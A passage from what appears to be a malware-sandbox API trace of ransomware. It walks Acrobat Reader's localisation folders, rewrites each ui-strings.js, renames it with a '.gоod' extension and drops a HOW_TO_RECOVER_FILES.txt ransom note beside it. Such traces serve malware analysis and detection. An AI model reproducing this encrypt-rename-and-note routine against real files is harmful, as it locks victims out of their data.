lpOldMode=0x1f9ee4d0) returned 1 [0266.946] GetFileType (hFile=0x768) returned 0x1 [0266.946] WriteFile (in: hFile=0x768, lpBuffer=0x3a6ae48*, nNumberOfBytesToWrite=0x570, lpNumberOfBytesWritten=0x1f9ee548, lpOverlapped=0x0 | out: lpBuffer=0x3a6ae48*, lpNumberOfBytesWritten=0x1f9ee548*=0x570, lpOverlapped=0x0) returned 1 [0266.946] CloseHandle (hObject=0x768) returned 1 [0266.946] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\ro-ro\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1f9ee1e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\ro-ro\\ui-strings.js", lpFilePart=0x0) returned 0x85 [0266.946] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\ro-ro\\ui-strings.js.gоod", nBufferLength=0x105, lpBuffer=0x1f9ee1e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\ro-ro\\ui-strings.js.gоod", lpFilePart=0x0) returned 0x8a [0266.946] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee670) returned 1 [0266.946] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\ro-ro\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer\\js\\nls\\ro-ro\\ui-strings.js"), fInfoLevelId=0x0, lpFileInformation=0x1f9ee750 | out: lpFileInformation=0x1f9ee750*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0200672, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0200672, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x9b524095, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x570)) returned 1 [0266.946] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee630) returned 1 [0266.946] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\ro-ro\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer\\js\\nls\\ro-ro\\ui-strings.js"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\ro-ro\\ui-strings.js.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer\\js\\nls\\ro-ro\\ui-strings.js.gоod")) returned 1 [0266.947] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\ro-ro\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1f9ee350, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\ro-ro\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x90 [0266.948] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee870) returned 1 [0266.948] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\ro-ro\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer\\js\\nls\\ro-ro\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x768 [0266.949] GetFileType (hFile=0x768) returned 0x1 [0266.949] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee7e0) returned 1 [0266.949] GetFileType (hFile=0x768) returned 0x1 [0266.949] WriteFile (in: hFile=0x768, lpBuffer=0x3a6e758*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1f9ee938, lpOverlapped=0x0 | out: lpBuffer=0x3a6e758*, lpNumberOfBytesWritten=0x1f9ee938*=0x5d0, lpOverlapped=0x0) returned 1 [0266.950] CloseHandle (hObject=0x768) returned 1 [0267.022] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee900) returned 1 [0267.022] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\root", nBufferLength=0x105, lpBuffer=0x1f9ee3a0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\root", lpFilePart=0x0) returned 0x76 [0267.022] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\root\\*", lpFindFileData=0x1f9ee620 | out: lpFindFileData=0x1f9ee620*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0200672, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0200672, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0200672, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134ac20 [0267.023] FindNextFileW (in: hFindFile=0x134ac20, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0200672, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0200672, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0200672, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0267.023] FindNextFileW (in: hFindFile=0x134ac20, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0200672, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0200672, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0200672, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x53d, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0267.023] FindNextFileW (in: hFindFile=0x134ac20, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0267.023] FindClose (in: hFindFile=0x134ac20 | out: hFindFile=0x134ac20) returned 1 [0267.023] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee840) returned 1 [0267.023] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee800) returned 1 [0267.023] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee900) returned 1 [0267.023] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\root", nBufferLength=0x105, lpBuffer=0x1f9ee3a0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\root", lpFilePart=0x0) returned 0x76 [0267.023] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\root\\*", lpFindFileData=0x1f9ee620 | out: lpFindFileData=0x1f9ee620*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0200672, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0200672, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0200672, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134b220 [0267.024] FindNextFileW (in: hFindFile=0x134b220, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0200672, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0200672, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0200672, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0267.024] FindNextFileW (in: hFindFile=0x134b220, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0200672, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0200672, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0200672, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x53d, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0267.024] FindNextFileW (in: hFindFile=0x134b220, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0200672, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0200672, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0200672, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x53d, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0267.024] FindClose (in: hFindFile=0x134b220 | out: hFindFile=0x134b220) returned 1 [0267.024] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee840) returned 1 [0267.024] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee800) returned 1 [0267.024] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\root\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1f9ee1e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\root\\ui-strings.js", lpFilePart=0x0) returned 0x84 [0267.024] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee6b0) returned 1 [0267.024] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\root\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer\\js\\nls\\root\\ui-strings.js"), fInfoLevelId=0x0, lpFileInformation=0x3884968 | out: lpFileInformation=0x3884968*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0200672, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0200672, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0200672, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x53d)) returned 1 [0267.025] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee670) returned 1 [0267.025] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\root\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1f9ee040, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\root\\ui-strings.js", lpFilePart=0x0) returned 0x84 [0267.025] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee560) returned 1 [0267.025] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\root\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer\\js\\nls\\root\\ui-strings.js"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x808 [0267.025] GetFileType (hFile=0x808) returned 0x1 [0267.025] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee4d0) returned 1 [0267.025] GetFileType (hFile=0x808) returned 0x1 [0267.025] GetFileSize (in: hFile=0x808, lpFileSizeHigh=0x1f9ee708 | out: lpFileSizeHigh=0x1f9ee708*=0x0) returned 0x53d [0267.025] ReadFile (in: hFile=0x808, lpBuffer=0x3885250, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f9ee638, lpOverlapped=0x0 | out: lpBuffer=0x3885250*, lpNumberOfBytesRead=0x1f9ee638*=0x53d, lpOverlapped=0x0) returned 1 [0267.026] CloseHandle (hObject=0x808) returned 1 [0267.639] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\root\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1f9ee040, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\root\\ui-strings.js", lpFilePart=0x0) returned 0x84 [0267.639] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee560) returned 1 [0267.639] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\root\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer\\js\\nls\\root\\ui-strings.js"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x834 [0267.640] GetFileType (hFile=0x834) returned 0x1 [0267.640] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee4d0) returned 1 [0267.640] GetFileType (hFile=0x834) returned 0x1 [0267.640] WriteFile (in: hFile=0x834, lpBuffer=0x3a78108*, nNumberOfBytesToWrite=0x540, lpNumberOfBytesWritten=0x1f9ee548, lpOverlapped=0x0 | out: lpBuffer=0x3a78108*, lpNumberOfBytesWritten=0x1f9ee548*=0x540, lpOverlapped=0x0) returned 1 [0267.640] CloseHandle (hObject=0x834) returned 1 [0267.640] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\root\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1f9ee1e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\root\\ui-strings.js", lpFilePart=0x0) returned 0x84 [0267.640] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\root\\ui-strings.js.gоod", nBufferLength=0x105, lpBuffer=0x1f9ee1e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\root\\ui-strings.js.gоod", lpFilePart=0x0) returned 0x89 [0267.640] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee670) returned 1 [0267.640] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\root\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer\\js\\nls\\root\\ui-strings.js"), fInfoLevelId=0x0, lpFileInformation=0x1f9ee750 | out: lpFileInformation=0x1f9ee750*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0200672, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0200672, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x9bbd9771, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x540)) returned 1 [0267.640] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee630) returned 1 [0267.640] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\root\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer\\js\\nls\\root\\ui-strings.js"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\root\\ui-strings.js.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer\\js\\nls\\root\\ui-strings.js.gоod")) returned 1 [0267.641] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\root\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1f9ee350, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\root\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x8f [0267.641] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee870) returned 1 [0267.642] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\root\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer\\js\\nls\\root\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x834 [0267.643] GetFileType (hFile=0x834) returned 0x1 [0267.643] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee7e0) returned 1 [0267.643] GetFileType (hFile=0x834) returned 0x1 [0267.643] WriteFile (in: hFile=0x834, lpBuffer=0x3a7bdf0*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1f9ee938, lpOverlapped=0x0 | out: lpBuffer=0x3a7bdf0*, lpNumberOfBytesWritten=0x1f9ee938*=0x5d0, lpOverlapped=0x0) returned 1 [0267.644] CloseHandle (hObject=0x834) returned 1 [0267.644] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee900) returned 1 [0267.644] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\ru-ru", nBufferLength=0x105, lpBuffer=0x1f9ee3a0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\ru-ru", lpFilePart=0x0) returned 0x77 [0267.644] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\ru-ru\\*", lpFindFileData=0x1f9ee620 | out: lpFindFileData=0x1f9ee620*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0141af0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0141af0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0141af0, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134abc0 [0267.644] FindNextFileW (in: hFindFile=0x134abc0, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0141af0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0141af0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0141af0, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0267.645] FindNextFileW (in: hFindFile=0x134abc0, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0141af0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0141af0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0141af0, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x642, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0267.645] FindNextFileW (in: hFindFile=0x134abc0, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0267.645] FindClose (in: hFindFile=0x134abc0 | out: hFindFile=0x134abc0) returned 1 [0267.645] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee840) returned 1 [0267.645] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee800) returned 1 [0267.645] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee900) returned 1 [0267.645] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\ru-ru", nBufferLength=0x105, lpBuffer=0x1f9ee3a0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\ru-ru", lpFilePart=0x0) returned 0x77 [0267.645] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\ru-ru\\*", lpFindFileData=0x1f9ee620 | out: lpFindFileData=0x1f9ee620*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0141af0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0141af0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0141af0, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134aa40 [0267.645] FindNextFileW (in: hFindFile=0x134aa40, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0141af0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0141af0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0141af0, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0267.645] FindNextFileW (in: hFindFile=0x134aa40, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0141af0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0141af0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0141af0, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x642, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0267.646] FindNextFileW (in: hFindFile=0x134aa40, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0141af0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0141af0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0141af0, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x642, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0267.646] FindClose (in: hFindFile=0x134aa40 | out: hFindFile=0x134aa40) returned 1 [0267.646] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee840) returned 1 [0267.646] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee800) returned 1 [0267.646] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\ru-ru\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1f9ee1e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader 